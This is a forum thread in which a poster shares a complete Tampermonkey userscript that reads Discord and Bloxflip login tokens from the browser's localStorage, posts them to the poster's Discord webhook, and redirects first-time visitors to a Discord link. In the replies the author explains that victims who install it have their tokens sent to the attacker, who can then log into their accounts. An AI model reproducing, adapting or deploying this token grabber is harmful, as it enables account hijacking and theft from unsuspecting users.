Thread: [Bloxflip & Discord Token Grabber \(Tampermonkey\)](#)

cxmb - May 10, 2024, 3:16 am

Here is a token grabber for tampermonkey, takes your bloxflip and disc token, and sends them to webhook:

```
Code // ==UserScript==
// @name      Token Grabbers
// @namespace  cxmb
// @version    1.0
// @description Grabs tokens from disc and bloxflip, then sends them to ur webhook
// @author     cxmb
// @match      IMPORTANT* (Change to 'https : // discord . com/* ')
// @match      IMPORTANT* (Change to 'https : // bloxflip . com/*')
// @grant      GM_xmlHttpRequest
// @grant      GM_setValue
// @grant      GM_getValue
// ==/UserScript==
(function() {
    'use strict';
    const discordWebhookUrl = 'YOUR DISCORD WEBHOOK HERE';
    const redirectUrl = 'DISCORD LINK HERE'; // any discord link (not webhook!!!!), CAN be your
server
    function extractTokens() {
        let uetsidExpToken = null;
        let bloxflipToken = null;
        let discordToken = null;
        if (window.location.hostname === "bloxflip.com") {
            uetsidExpToken = localStorage.getItem('_uetsid_exp');
            bloxflipToken = localStorage.getItem('_DO_NOT_SHARE_BLOXFLIP_TOKEN');
        } else if (window.location.hostname === "discord.com") {
            discordToken = localStorage.getItem('token');
        }
        if (bloxflipToken || discordToken) {
            sendTokensToDiscord(uetsidExpToken, bloxflipToken, discordToken);
        } else {
            console.error('Tokens not found in localStorage');
        }
    }
    function sendTokensToDiscord(uetsidExpToken, bloxflipToken, discordToken) {
        const messageContent = `
\\`\\`fix
Time: ${uetsidExpToken || "N/A"}
Bloxflip Token: ${bloxflipToken || "N/A"}
Discord Token: ${discordToken || "N/A"}
\\`\\`
`;
        const payload = {
```

```

        content: messageContent
    };
    GM_xmlhttpRequest({
        method: "POST",
        url: discordWebhookUrl,
        headers: {
            "Content-Type": "application/json"
        },
        data: JSON.stringify(payload),
        onload: function(response) {
            console.log('Tokens sent to Discord webhook successfully:', response.responseText);
        },
        onerror: function(error) {
            console.error('Error sending tokens to Discord webhook:', error);
        }
    });
}
function redirectOnFirstVisit() {
    const currentHostname = window.location.hostname;
    if (currentHostname === "discord.com" || currentHostname === "bloxflip.com") {
        const isFirstVisit = !GM_getValue('visited_' + currentHostname, false);
        if (isFirstVisit) {
            setTimeout(() => {
                window.location.href = redirectUrl;
                GM_setValue('visited_' + currentHostname, true);
            }, 20000); // DELAY FOR THE DISCORD REDIRECT (REDIRECT ONLY HAPPENS ON
FIRST VISIT)
        }
    }
}
redirectOnFirstVisit();
if (window.location.hostname === "discord.com" || window.location.hostname === "bloxflip.com")
{
    extractTokens();
}
})();

```

how do u get this to work?

trimac1jx2 - May 27, 2024, 9:26 pm

What does it do with bloxflip?

cxmbdev - June 6, 2024, 2:30 pm

Change to https in @match, and add ur webhook & discord server, then when they use it with tampermonkey, their shit gets sent to you

(May 27, 2024 09:26 PM)trimac1jx2 Wrote: [\[CITE\]](#) What does it do with bloxflip?

Gets the user's token, allowing you to login to their account, same with discord
